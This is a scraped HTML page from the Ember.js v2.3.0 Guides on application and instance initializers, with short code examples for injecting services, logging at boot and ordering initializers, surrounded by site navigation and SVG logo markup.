23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg> </a> <button id="ember106068" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span> </button> <div id="ember106069" class="navbar-collapse collapse ember-view"><ul id="ember106070" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember106071" class="dropdown nav-item ember-view"> <a href="#" id="ember106072" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a> <!----> </li> <!----><li id="ember106074" class="dropdown nav-item ember-view"> <a href="#" id="ember106075" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a> <!----> </li> <li id="ember106077" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a> </li><!----> <!----><li id="ember106078" class="dropdown nav-item ember-view"> <a href="#" id="ember106079" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a> <!----> </li> <!----><li id="ember106081" class="dropdown nav-item ember-view"> <a href="#" id="ember106082" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a> <!----> </li> </ul><ul id="ember106084" class="nav navbar-nav ember-view"> <form> <div id="ember106085" class="search-input ember-view"> <input id="search-input" placeholder="Search the guides" autocomplete="off" type="search"> <div id="ember106086" class="ds-dropdown-results ember-tether ember-view"><!----></div></div> </form> </ul> </div> </nav></div> </div> </header> <!----> <div class="info-banner-wrapper"> <div class="info-banner-container"> <div id="ember106087" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p> </div> </div> </div> <main class="container"> <aside class="sidebar"> <label for="version-select" class="visually-hidden">Guides version</label> <div id="ember106088" class="ember-basic-dropdown ember-view"> <div aria-label="v2.3.0" aria-owns="ember-basic-dropdown-content-ember106088" tabindex="0" data-ebd-id="ember106088-trigger" role="button" id="ember106089" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 2.3 <!----> </span> <!----><span class="ember-power-select-status-icon"></span> </div> <div id="ember-basic-dropdown-content-ember106088" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div> </div> <input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox"> <label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label> <nav class="toc-container versions" aria-label="table of contents"> <ol id="ember106093" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0"> <div id="ember106096" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/getting-started" id="ember106097" class="cp-Panel-toggle ember-view"> Getting Started </a> <div id="ember106098" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106100" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/tutorial" id="ember106101" class="cp-Panel-toggle ember-view"> Tutorial </a> <div id="ember106102" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106104" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/object-model" id="ember106105" class="cp-Panel-toggle ember-view"> The Object Model </a> <div id="ember106106" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106108" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/routing" id="ember106109" class="cp-Panel-toggle ember-view"> Routing </a> <div id="ember106110" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106112" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/templates" id="ember106113" class="cp-Panel-toggle ember-view"> Templates </a> <div id="ember106114" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106116" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/components" id="ember106117" class="cp-Panel-toggle ember-view"> Components </a> <div id="ember106118" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106120" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/controllers" id="ember106121" class="cp-Panel-toggle ember-view"> Controllers </a> <div id="ember106122" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106124" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/models" id="ember106125" class="cp-Panel-toggle ember-view"> Models </a> <div id="ember106126" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106128" class="cp-Panel cp-is-open ember-view"><a href="/v2.3.0/applications" id="ember106129" class="cp-Panel-toggle ember-view"> Application Concerns </a> <div id="ember106130" class="cp-Panel-body cp-is-open ember-view"> <div class="cp-Panel-body-inner"> <ol id="ember106131" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/applications/index" id="ember106133" class="ember-view"> Applications and Instances </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/applications/dependency-injection" id="ember106135" class="ember-view"> Dependency Injection </a> </li> <li class="toc-link toc-level-1 selected"> <a href="/v2.3.0/applications/initializers" id="ember106137" class="selected ember-view"> Initializers </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/applications/services" id="ember106139" class="ember-view"> Services </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/applications/run-loop" id="ember106141" class="ember-view"> The Run Loop </a> </li> </ol> </div> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106143" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/testing" id="ember106144" class="cp-Panel-toggle ember-view"> Testing </a> <div id="ember106145" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106147" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/ember-inspector" id="ember106148" class="cp-Panel-toggle ember-view"> Ember Inspector </a> <div id="ember106149" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106151" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/addons-and-dependencies" id="ember106152" class="cp-Panel-toggle ember-view"> Addons and Dependencies </a> <div id="ember106153" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106155" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/configuring-ember" id="ember106156" class="cp-Panel-toggle ember-view"> Configuring Ember.js </a> <div id="ember106157" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106159" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/contributing" id="ember106160" class="cp-Panel-toggle ember-view"> Contributing to Ember.js </a> <div id="ember106161" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106163" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/glossary" id="ember106164" class="cp-Panel-toggle ember-view"> Glossary </a> <div id="ember106165" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> </ol> </nav> </aside> <article id="ember106166" class="chapter ember-view"> <div class="old-version-warning"> <i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v2.3.0. <a href="/release/applications/initializers" id="ember106167" class="btn ember-view"> VIEW v3.15.0 </a> </div> <a href="https://github.com/ember-learn/guides-source/edit/master/guides/v2.3.0/applications/initializers.md" target="_blank" class="edit-page icon-pencil" rel="noopener"> Edit Page </a> <h1> Initializers </h1> <hr> <div id="ember106168" class="ember-view"><p>Initializers provide an opportunity to configure your application as it boots.</p> <p>There are two types of initializers: application initializers and application instance initializers.</p> <p>Application initializers are run as your application boots, and provide the primary means to configure <a href="../dependency-injection/">dependency injections</a> in your application.</p> <p>Application instance initializers are run as an application instance is loaded. They provide a way to configure the initial state of your application, as well as to set up dependency injections that are local to the application instance (e.g. A/B testing configurations).</p> <p>Operations performed in initializers should be kept as lightweight as possible to minimize delays in loading your application. Although advanced techniques exist for allowing asynchrony in application initializers (i.e. <code>deferReadiness</code> and <code>advanceReadiness</code>), these techniques should generally be avoided. Any asynchronous loading conditions (e.g. user authorization) are almost always better handled in your application route's hooks, which allows for DOM interaction while waiting for conditions to resolve.</p> <h2 id="toc_application-initializers">Application Initializers</h2> <section aria-labelledby="toc_application-initializers"> <p>Application initializers can be created with Ember CLI's <code>initializer</code> generator:</p> <pre><code class="bash language-bash">ember generate initializer shopping-cart </code></pre> <p>Let's customize the <code>shopping-cart</code> initializer to inject a <code>cart</code> property into all the routes in your application:</p> <pre><code class="javascript language-javascript"data-filename=app/initializers/shopping-cart.js>export function initialize(application) { application.inject('route', 'cart', 'service:shopping-cart'); }; export default { name: 'shopping-cart', initialize: initialize }; </code></pre> </section> <h2 id="toc_application-instance-initializers">Application Instance Initializers</h2> <section aria-labelledby="toc_application-instance-initializers"> <p>Application instance initializers can be created with Ember CLI's <code>instance-initializer</code> generator:</p> <pre><code class="bash language-bash">ember generate instance-initializer logger </code></pre> <p>Let's add some simple logging to indicate that the instance has booted:</p> <pre><code class="javascript language-javascript"data-filename=app/instance-initializers/logger.js>export function initialize(applicationInstance) { var logger = applicationInstance.lookup('logger:main'); logger.log('Hello from the instance initializer!'); } export default { name: 'logger', initialize: initialize }; </code></pre> </section> <h2 id="toc_specifying-initializer-order">Specifying Initializer Order</h2> <section aria-labelledby="toc_specifying-initializer-order"> <p>If you'd like to control the order in which initializers run, you can use the <code>before</code> and/or <code>after</code> options:</p> <pre><code class="javascript language-javascript"data-filename=app/initializers/config-reader.js>export function initialize(application) { // ... your code ... }; export default { name: 'configReader', before: 'websocketInit', initialize: initialize }; </code></pre> <pre><code class="javascript language-javascript"data-filename=app/initializers/websocket-init.js>export function initialize(application) { // ... your code ... }; export default { name: 'websocketInit', after: 'configReader', initialize: initialize }; </code></pre> <p>Note that ordering only applies to initializers of the same type (i.e. application or application instance). Application initializers will always run before application instance initializers.</p> </section> </div> <footer id="ember106169" class="ember-view"> <a href="/v2.3.0/applications/dependency-injection" id="ember106170" class="previous-guide ember-view">Dependency Injection</a> <a href="/v2.3.0/applications/services" id="ember106171" class="next-guide ember-view"> Services </a></footer> </article> </main> <footer id="ember106172" class="es-footer ember-view" role="contentinfo"><div class="footer responsive"> <div class="container"> <div id="ember106173" class="footer-info ember-view"> Copyright 2020 <a href="http://tilde.io">Tilde Inc.</a> <br> <a href="https://emberjs.com/team">Team</a> | <a href="https://emberjs.com/sponsors">Sponsors</a> <br> <a href="https://emberjs.com/security">Security</a> | <a href="https://emberjs.com/legal">Legal</a> | <a href="https://emberjs.com/brand">Brand</a> <br> <a href="https://emberjs.com/guidelines">Community Guidelines</a> <!----></div> <div id="ember106174" class="footer-statement ember-view"> <p class="footer-tagline">Ember.js is free, open source and always will be.</p> <div class="footer-social"> <a href="http://twitter.com/emberjs" title="Twitter"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg> </a> <a href="https://github.com/emberjs/ember.js" title="GitHub"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg> </a> <a href="https://discordapp.com/invite/zT3asNS" title="Discord"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z"/></svg> </a> </div> </div> <div id="ember106175" class="footer-contributions ember-view"> <div class="contributor"> <p>Hosted by:</p> <a href="https://www.heroku.com/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg> </a> </div> <div class="contributor"> <p>CDN provided by:</p> <a href="https://www.fastly.com"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg> </a> </div> <div class="contributor"> <p>Tested with:</p> <a href="https://percy.io"> <svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg> </a> </div> <div class="contributor"> <p>Resolved with:</p> <a href="https://dnsimple.com/resolving/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 